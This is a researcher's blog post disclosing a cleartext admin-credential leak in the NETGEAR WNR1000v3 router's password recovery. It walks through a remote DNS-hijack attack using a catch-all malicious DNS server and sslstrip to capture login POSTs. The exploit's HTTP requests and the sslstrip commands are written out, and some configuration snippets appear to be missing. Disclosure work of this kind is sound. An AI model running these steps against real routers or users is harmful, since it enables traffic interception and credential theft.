MIT(R)M Attacks – Your middle or mine?

Recently (actually months ago now) my wife went out to see some friends from Church which left me with a couple of hours to kill at home (after I put the kids bed of course). I decided to use this opportunity to look for security vulnerabilities in the wireless router provided by my ISP.

I installed the latest firmware update on the device and soon discovered a serious vulnerability in the router’s password recovery feature (when exploited, this vulnerability will display the admin credentials of the router in cleartext).

Note: At this point some of you might be thinking….siiiiiigghhhhhhh….”so a consumer grade wireless router has a security vulnerability…big deal…most home users don’t bother changing the default username and password anyway.” Ok I totally agree but stay with me, it gets better.

I didn’t have much time to contact the vendor directly, so I decided to write up a description and send it off to Secunia. After several days I received back the following response:

We have received your report regarding <censored> wireless
router. But, unfortunately, we are not able to consider it as a SVCRP [1]report as we do not have said device on our premise and subsequently cannot
confirm the vulnerability within our secure test environment.

Therefore, we will not process this report. In case you would like these
issues to be addressed by the vendor, we would like to encourage you to
report them to the vendor directly.

Thank you for reporting this to us though. We look forward to receive more
reports from you.

What!? Hmmmmm….you know they sell these at Walmart right? Well you can’t really blame Secunia, what can you really do with admin access to a home wireless router anyway?  Well, let’s take a look….

Before we delve into this any further I should note that I attempted desperately to report the vulnerability to the vendor directly. This process was soooooo insanely difficult that it actually drove me to about 18 seconds of maniacal laughter. I seriously don’t know if the internal communication was just horrible (I actually started getting emails back from the vendor addressing me as “Ms. Difrank”), or if they just DO NOT CARE!

There are actually many different attack vectors that can be leveraged once you compromise a home wireless router (or any router), but in the interest of brevity I just want to discuss one that hasn’t been given enough attention (IMO).

Typically, Man-in-the-Middle (MITM) attacks are launched from “close” range against local networks. One has to ask the question though…where exactly is the “middle”? Without getting too philosophical, I’m going to suggest that the “middle” is relative…it can be any point between the source and the destination.

With that being said lets see how we can launch a Man-in-the-Relative-Middle attack against users connected to a home wireless router from anywhere in the “middle” (even over the Internet).

Note: This example focuses on intercepting HTTP/S traffic only.

Configure a Malicious DNS Server

First, I configure my laptop as a DNS server that will respond to all DNS requests with my laptop’s IP address. There are many different ways/tools to do this, but for this demo I decided to use a simple BIND configuration that will respond to all DNS requests with my laptop’s IP.

Note: I don’t recommend this technique in an actual Pentest, it’s better to target specific domains (facebook, linkedin, google, etc.) 

1.) Add a new entry into your named.conf.local file for the “root” domain


2.) Setup a new zone file for the root domain (in this case “db.any”) and copy it to the directory specified within your named.conf.options

After restarting the BIND service any DNS requests submitted to the server will return the IP address of the attacking system (in this case


Note: I’m using an IP address on the local LAN, when launching this attack over the Internet you would configure this with your public IP.

Configure sslstrip

Most sensitive information that traverses the web is encrypted using SSL/TLS. Rather than configuring an inline proxy server to intercept HTTP/S requests (which will work but generate certificate errors on the client) I’ve decided to use one of my favorite tools: “sslstrip”.

Note: If you aren’t familiar with sslstrip I encourage you to take a look here

Typically we would use sslstrip in addition to IP forwarding, ARP spoofing, and port redirection techniques on the local LAN (which is what it was designed for), but it also works pretty well just by kicking it off and sending web traffic directly to it.

Start sslstrip: 

sslstrip -l 80 -p -w sslposts.txt

This will configure sslstrip to listen on tcp port 80 and log all HTTP POSTs to the file sslposts.txt

Monitor HTTP POSTs:

tail -f sslposts.txt
Now that our server is configured, we simply modify the DNS settings on the WAN interface of our target router to point to our malicious server IP.
All HTTPS requested pages will be transparently replaced with HTTP pages (much more going on under the hood but I want to keep this short and sweet).
The login credentials can be seen in the HTTP POST log:

Ok…but how do we change the DNS settings in the router?

Most Home Internet routers are notorious for having security vulnerabilities. Let’s take a look at the vulnerability I discovered and reported back in April 2013 (still vulnerable today).

The vulnerability I discovered affects NETGEAR N150 wireless routers identified as WNR1000v3. A flaw in the password recovery feature of this device allows an attacker to retrieve the router administrator username and password in cleartext.

Note: The router is vulnerable EVEN IF PASSWORD RECOVERY IS DISABLED!

I wrote a quick proof-of-concept script that extracts the username and password from a vulnerable router. I named the script “wnroast” since WNR sounds kinda like “wiener” to me   🙂 <target ip> <target port>
Roasting the WNR:

Doing a Shodanhq search for WNR1000v3 reveals almost 14,000 hits! Imagine a scenario where an exploit for this vulnerability is scripted and hundreds of devices begin using malicious DNS servers, the impact would be severe.

Again MITRM represents only one of MANY attack vectors that may be taken once an attacker gains control of a home Internet router.

I should also mention that tools like sslstrip aren’t really designed to work over the web so you will notice some pages don’t load right or at all without additional customization.

There is certainly much more that could be said on this topic, but I’m out of time and I need to wrap this up.

In Closing:

The following are some recommendations to consider when securing administration access to your home Internet router.

  1. Disable remote administration access (over the web) or at least restrict it to trusted IPs only
  2. Whenever Possible – disable access to the administration page from the Wireless LAN (use wired only)
That’s all the time I’ve got at this point, let’s hope this gets patched soon!
Special thanks to wildB1ll for helping me test this out!
WNRoast Download: can be downloaded here

Update (7-5-14): Metasploit aux mod available here

Full Disclosure Details:

The following is my original submission to Secunia and NETGEAR disclosing the details of the vulnerability:

Description: Newer firmware versions of the NETGEAR N150 WNR1000v3 wireless router are affected by a password recovery vulnerability. Exploiting this vulnerability allows an attacker to recover the router’s (plaintext) Administrator credentials and subsequently gain full access to the device. This vulnerabilty can be exploited remotely if the remote administration access feature is enabled (as well as locally via wired or wireless access).
Tested Device Model: NETGEAR N150 WNR1000v3
Tested Device Firmware Versions: V1.0.2.60_60.0.86 (Latest) and V1.0.2.54_60.0.82NA
Potential Impacts: Gaining full control over a wireless router exposes multiple attack vectors including: DoS, DNS control (many ways this can be leveraged to exploit clients), access to PPPoE credentials, cleartext WPA/WPA2 PSK (for guest and private network) firewall rule and port forwarding manipulation, etc.
The password recovery mechanism appears to be designed to work as follows:
1.) After failing to login the user will be redirected to a password recovery page that requests the router serial number
2.) If the user enters the serial number correctly, another page will appear that requires the user to correctly answer 2 secret questions
3.) If the user answers the secret questions correctly, the router username and password is displayed
The problem: The implementation of this password recovery method has issues…lots of issues
Vulnerability and Exploit Details:
1.) Access the router login through a web browser:
2.) Select “Cancel” on the HTTP basic login box (or enter arbitrary credentials), the router responds with the following (Note the “unauth.cgi?id” parameter):

HTTP/1.0 401 Unauthorized
WWW-Authenticate: Basic realm=”NETGEAR WNR1000v3″Content-type: text/html



<meta http-equiv=’Content-Type’ content=’text/html; charset=utf-8′>

<title>401 Unauthorized</title></head>

<body onload=”document.aForm.submit()”><h1>401 Unauthorized</h1>

<p>Access to this resource is denied, your client has not supplied the correct authentication.</p><form method=”post” action=”unauth.cgi?id=78185530” name=”aForm”></form></body>


3.) Use the unauth.cgi ID parameter to send the following (crafted) HTTP post request:
Accept: text/html, application/xhtml+xml, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Content-Length: 35
Connection: Keep-Alive
Pragma: no-cache

The username and (plaintext) password are returned in the response (truncated for brevity):
 <td class=”MNUText” align=”right”>Router Admin Username</td>
 <td class=”MNUText” align=”left”>admin</td>
 <td class=”MNUText” align=”right”>Router Admin Password</td>
 <td class=”MNUText” align=”left”>D0n’tGuessMe!</td>